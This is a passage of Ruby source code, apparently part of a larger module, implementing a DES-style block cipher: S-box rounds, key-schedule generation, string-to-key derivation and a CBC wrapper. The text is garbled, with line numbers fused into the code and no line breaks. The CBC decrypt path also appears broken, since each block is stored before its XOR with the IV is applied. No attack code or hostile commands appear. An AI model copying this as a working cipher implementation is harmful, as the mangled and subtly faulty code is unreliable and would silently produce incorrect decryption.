0xff905906data_block = a2.pack("c*").unpack("V*")907data_block[0] &= 0x3F3F3F3F908data_block[1] &= 0x3F3F3F3F909data_block910end911912def desx(data_block, ksch, idx)913ksch = ksch.pack("V*")914ksch = ksch.unpack("Q<*")915key_block = ksch[idx]916917data_block_ptr = data_block.pack("V*")918data_block_ptr = data_block_ptr.unpack1("Q<*")919data_block_ptr ^= key_block920921counter = 1922data_block_byte_ptr = [data_block_ptr].pack('Q<')923left = SBOXES[data_block_byte_ptr[0].ord]924right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)]925counter += 1926left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]927counter += 1928right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]929counter += 1930left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]931counter += 1932right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]933counter += 1934left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]935counter += 1936right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]937counter += 1938left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]939counter += 1940right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]941counter += 1942left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]943counter += 1944right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]945counter += 1946left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]947counter += 1948right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]949counter += 1950left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]951counter += 1952right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]953954# Create return tuple955ret_block = Array.new956ret_block.push left957ret_block.push right958ret_block959960end961962def store(data_block)963a1 = data_block.pack("V*")964val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1965val & 0xffffffff966end967968def sbox_xors(data_block_in, ksch_arg, decrypt_flag)969970decrypt_flag_cpy = decrypt_flag971if (decrypt_flag & 0x100) != 0972data_block_0 = data_block_in973else974data_block_0 = rotate_block_init(data_block_in)975end976977encrypt_flag = (decrypt_flag_cpy & 1) == 0978ti_block_0 = load(data_block_0[0])979ti_block_1 = load(data_block_0[1])980981for i in 0..15982ti_cpy = ti_block_1983if encrypt_flag984ti_block_1 = desx(ti_block_1, ksch_arg, i)985else986ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i)987end988ti_block_1[0] ^= ti_block_0[0]989ti_block_1[1] ^= ti_block_0[1]990ti_block_0 = ti_cpy991end992993data_block_0[0] = store(ti_block_1)994data_block_0[1] = store(ti_block_0)995996if (!(decrypt_flag_cpy & 0x200) != 0)997rotate_block_final(data_block_0)998else999data_block_01000end10011002end10031004def gen_key_unchecked(key)10051006idx = 01007key_arr = key.unpack("V*")1008key_sch = Array.new1009for i in 0..151010idx += ROTATIONS[i].ord1011v6 = 01012v5 = 01013v14 = 01014for j in 0..471015pc2_p1 = (idx + PC2[j].ord) % 0x1C1016if PC2[j].ord > 0x1B1017pc2_p2 = 0x1c1018else1019pc2_p2 = 01020end1021v13 = PC1[pc2_p1 + pc2_p2].ord1022if v13 <= 311023v12 = 01024else1025v12 = 11026v13 -= 321027end1028if j <= 231029v10 = j1030else1031v14 = 11032v10 = j - 241033end1034v11 = 8 * (v10 / 6) + v10 % 61035key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13]10361037if (key_and != 0)1038if v14 == 11039v6 |= SBOX_BYTE_ORDER[v11]1040else1041v5 |= SBOX_BYTE_ORDER[v11]1042end1043end1044end1045key_sch.push v51046key_sch.push v61047end1048key_sch1049end10501051def des_string_to_key(key_buf_str)10521053des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)1054des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)10551056temp_key1 = Array.new(8, 0)1057temp_key2 = Array.new(8, 0)10581059key_buf_bytes = key_buf_str.unpack("c*")10601061counter = 01062key_buf_str_len = key_buf_bytes.length - 11063for i in 0..key_buf_str_len1064counter %= 81065temp_key1[counter] |= key_buf_bytes[i]1066temp_key2[counter] |= key_buf_bytes[i]10671068data_block = temp_key1.pack("c*").unpack("V*")1069temp_key1 = sbox_xors(data_block, des_keysch_0, 0)1070temp_key1 = temp_key1.pack("V*").unpack("c*")10711072data_block = temp_key2.pack("c*").unpack("V*")1073temp_key2 = sbox_xors(data_block, des_keysch_1, 0)1074temp_key2 = temp_key2.pack("V*").unpack("c*")1075counter += 11076end10771078# Prepare the return array1079ret_key = Array.new(8, 0)1080for j in 0..71081ret_key[j] = temp_key2[j] ^ temp_key1[j]1082end1083ret_key.pack("c*")1084end10851086def des_cbc(input_buf, key_sch, iv, decrypt_flag)10871088output_block_arr = Array.new1089blocks = input_buf.unpack("Q<*")1090for i in 0..blocks.length - 110911092current_block = blocks[i]1093if decrypt_flag == 11094cur_block = current_block1095else1096current_block ^= iv1097end10981099current_block_tuple = [current_block].pack("Q<").unpack("V*")1100output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag)1101output_block = output_block_tuple.pack("V*").unpack1("Q<")1102output_block_arr.push output_block11031104if decrypt_flag == 11105output_block ^= iv1106iv = cur_block1107else1108iv = output_block1109end1110end11111112output_block_arr.pack("Q<*")11131114end11151116def des_crypt_func(binary_buf, key_buf, decrypt_flag)1117des_key = des_string_to_key(key_buf)1118des_keysch = gen_key_unchecked(des_key)11191120temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0)1121binary_buf_str = binary_buf.unpack('c*')11221123for j in 0..binary_buf_str.length - 11124temp_enc_buf[j] = binary_buf_str[j]1125end11261127temp_enc_buf = temp_enc_buf.pack('c*')1128output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag)1129output_buf1130end11311132end113311341135